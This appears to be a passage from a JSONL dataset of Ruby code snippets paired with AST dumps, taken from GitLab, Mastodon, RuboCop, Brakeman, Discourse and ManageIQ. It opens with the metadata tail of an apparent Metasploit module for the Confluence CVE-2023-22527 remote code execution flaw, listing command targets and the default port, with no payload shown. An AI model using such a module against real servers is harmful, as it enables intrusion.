McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-22527\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-01-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8191]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8090]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"aaf17345-b57d-4713-8e20-187840970682"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/failed_tests.rb","start_line":106,"raw_source":"def write_failed_tests_to_file(filename_prefix, failed_tests)\n formatted_tests =\n case format\n when :oneline\n # Deduplicate file paths for oneline format since we only output filenames\n unique_files = failed_tests.map { |test| test['file'] }.uniq # rubocop:disable Rails/Pluck\n unique_files.join(' ')\n when :json\n # Preserve all test case objects for JSON format to maintain full context\n JSON.pretty_generate(failed_tests.to_a)\n end\n\n output_file = File.join(output_directory, \"#{filename_prefix}.#{output_file_format}\")\n\n File.write(output_file, formatted_tests)\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_failed_tests_to_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename_prefix\"]},{\"type\":\"arg\",\"children\":[\"failed_tests\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatted_tests\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"oneline\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unique_files\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_tests\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file\"]}]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_files\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_tests\"]},\"to_a\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"output_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"output_directory\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename_prefix\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_file_format\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"output_file\"]},{\"type\":\"lvar\",\"children\":[\"formatted_tests\"]}]}]}]}","id":"d3bd5b2c-304d-4e22-9019-75000936b147"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/metadata/serializer.rb","start_line":17,"raw_source":"def serialize_value(type:, value:)\n return value if value.nil?\n\n case type\n when :string then serialize_string(value)\n when :time then serialize_time(value)\n when :integer then serialize_integer(value)\n else\n raise ArgumentError, \"Unknown data type key #{type.inspect} provided when serializing backup metadata\"\n end\n end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_value\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"send\",\"children\":[null,\"serialize_string\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[null,\"serialize_time\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[null,\"serialize_integer\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown data type key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" provided when serializing backup metadata\"]}]}]}]}]}]}","id":"f03ea7cc-7e90-443f-b101-7ba24f50c963"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/client.rb","start_line":273,"raw_source":"def github_omniauth_provider\n @github_omniauth_provider ||= Gitlab::Auth::OAuth::Provider.config_for('github').to_h\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"github_omniauth_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@github_omniauth_provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"OAuth\"]},\"Provider\"]},\"config_for\",{\"type\":\"str\",\"children\":[\"github\"]}]},\"to_h\"]}]}]}","id":"67d3cde4-db67-424e-b10a-287f68f7219e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/email_domain_blocks_controller.rb","start_line":74,"raw_source":"def action_from_button\n if params[:delete]\n 'delete'\n elsif params[:save]\n 'save'\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"action_from_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"str\",\"children\":[\"delete\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"save\"]}]},{\"type\":\"str\",\"children\":[\"save\"]},null]}]}]}","id":"d19659f8-d394-4013-ab1c-7851b7493cfb"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/access_modifier_declarations.rb","start_line":310,"raw_source":"def find_argument_less_modifier_node(node)\n return unless (parent = node.parent)\n\n parent.each_child_node(:send).find do |child|\n child.method?(node.method_name) && child.arguments.empty?\n end\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_argument_less_modifier_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"each_child_node\",{\"type\":\"sym\",\"children\":[\"send\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"arguments\"]},\"empty?\"]}]}]}]}]}","id":"4f03f31e-5936-4f88-9110-737ac6de00c8"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":616,"raw_source":"def test_weak_hash_with_password_attribute\n assert_warning :type => :warning,\n :warning_code => 90,\n :fingerprint => \"79abd372d12d87347e5c6bb00d01a0e54994be7bb19765a0d5927702f40f829f\",\n :warning_type => \"Weak Hash\",\n :line => 100,\n :message => /^Weak\\ hashing\\ algorithm\\ used: SHA1/,\n :confidence => 0,\n :relative_path => \"app/controllers/users_controller.rb\",\n :user_input => s(:call, s(:call, nil, :current_user), :password)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_weak_hash_with_password_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[90]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"79abd372d12d87347e5c6bb00d01a0e54994be7bb19765a0d5927702f40f829f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Weak Hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Weak\\\\ hashing\\\\ algorithm\\\\ used: SHA1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]}]}","id":"40832c9e-7a2c-4aeb-9f06-9c37de55df6d"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/question_consolidator.rb","start_line":23,"raw_source":"def revised_prompt\n max_tokens_per_model = @max_tokens / 5\n\n conversation_snippet = []\n tokens = 0\n\n messages.reverse_each do |message|\n # skip tool calls\n next if message[:type] != :user && message[:type] != :model\n\n row = +\"\"\n row << ((message[:type] == :user) ? \"user\" : \"model\")\n\n content = DiscourseAi::Completions::Prompt.text_only(message)\n current_tokens = @llm.tokenizer.tokenize(content).length\n\n allowed_tokens = @max_tokens - tokens\n allowed_tokens = [allowed_tokens, max_tokens_per_model].min if message[:type] == :model\n\n truncated_content = content\n\n if current_tokens > allowed_tokens\n truncated_content =\n @llm.tokenizer.truncate(\n content,\n allowed_tokens,\n strict: SiteSetting.ai_strict_token_counting,\n )\n current_tokens = allowed_tokens\n end\n\n row << \": #{truncated_content}\"\n tokens += current_tokens\n conversation_snippet << row\n\n break if tokens >= @max_tokens\n end\n\n history = conversation_snippet.reverse.join(\"\\n\")\n\n system_message = <<~TEXT\n You are Question Consolidation Bot: an AI assistant tasked with consolidating a user's latest question into a self-contained, context-rich question.\n\n - Your output will be used to query a vector database. DO NOT include superflous text such as \"here is your consolidated question:\".\n - You interact with an API endpoint, not a user, you must never produce denials, nor conversations directed towards a non-existent user.\n - You only produce automated responses to input, where a response is a consolidated question without further discussion.\n - You only ever reply with consolidated questions. You never try to answer user queries.\n\n If for any reason there is no discernable question (Eg: thank you, or good job) reply with the text NO_QUESTION.\n TEXT\n\n message = <<~TEXT\n Given the following conversation snippet, craft a self-contained context-rich question (if there is no question reply with NO_QUESTION):\n\n {{{\n #{history}\n }}}\n\n Only ever reply with a consolidated question. Do not try to answer user queries.\n TEXT\n\n response =\n DiscourseAi::Completions::Prompt.new(\n system_message,\n messages: [{ type: :user, content: message }],\n )\n\n if response == \"NO_QUESTION\"\n nil\n else\n response\n end\n end","complexity_score":67.5,"ast_json":"{\"type\":\"def\",\"children\":[\"revised_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_tokens_per_model\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_tokens\"]},\"/\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conversation_snippet\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tokens\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages\"]},\"reverse_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"model\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"model\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"Prompt\"]},\"text_only\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@llm\"]},\"tokenizer\"]},\"tokenize\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_tokens\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"model\"]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_tokens\"]},{\"type\":\"lvar\",\"children\":[\"max_tokens_per_model\"]}]},\"min\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"truncated_content\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_tokens\"]},\">\",{\"type\":\"lvar\",\"children\":[\"allowed_tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"truncated_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@llm\"]},\"tokenizer\"]},\"truncate\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"allowed_tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strict\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_strict_token_counting\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_tokens\",{\"type\":\"lvar\",\"children\":[\"allowed_tokens\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"truncated_content\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tokens\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"current_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation_snippet\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@max_tokens\"]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"history\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation_snippet\"]},\"reverse\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"system_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You are Question Consolidation Bot: an AI assistant tasked with consolidating a user's latest question into a self-contained, context-rich question.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"- Your output will be used to query a vector database. DO NOT include superflous text such as \\\"here is your consolidated question:\\\".\\n\"]},{\"type\":\"str\",\"children\":[\"- You interact with an API endpoint, not a user, you must never produce denials, nor conversations directed towards a non-existent user.\\n\"]},{\"type\":\"str\",\"children\":[\"- You only produce automated responses to input, where a response is a consolidated question without further discussion.\\n\"]},{\"type\":\"str\",\"children\":[\"- You only ever reply with consolidated questions. You never try to answer user queries.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"If for any reason there is no discernable question (Eg: thank you, or good job) reply with the text NO_QUESTION.\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Given the following conversation snippet, craft a self-contained context-rich question (if there is no question reply with NO_QUESTION):\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"{{{\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"history\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"}}}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Only ever reply with a consolidated question. Do not try to answer user queries.\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"Prompt\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"system_message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"==\",{\"type\":\"str\",\"children\":[\"NO_QUESTION\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"a59e6dd3-6335-4502-9342-268263343136"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/deep_size.rb","start_line":24,"raw_source":"def valid?\n !too_big? && !too_deep?\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_big?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_deep?\"]},\"!\"]}]}]}","id":"3b655e06-ad9e-4cff-ac26-71b53d228301"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_ae_yaml_import_export_mixin.rb","start_line":70,"raw_source":"def process_field_value(instance_obj, field)\n field.each do |fname, value|\n ae_field = instance_obj.ae_class.ae_fields.detect { |f| fname.casecmp(f.name) == 0 }\n raise MiqAeException::FieldNotFound, \"Field [#{fname}] not found in MiqAeDatastore\" if ae_field.nil?\n\n instance_obj.ae_values << MiqAeValue.new({'ae_field' => ae_field}.merge(value))\n end\n end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_field_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance_obj\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fname\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ae_field\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_obj\"]},\"ae_class\"]},\"ae_fields\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"casecmp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"name\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_field\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeException\"]},\"FieldNotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Field [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"] not found in 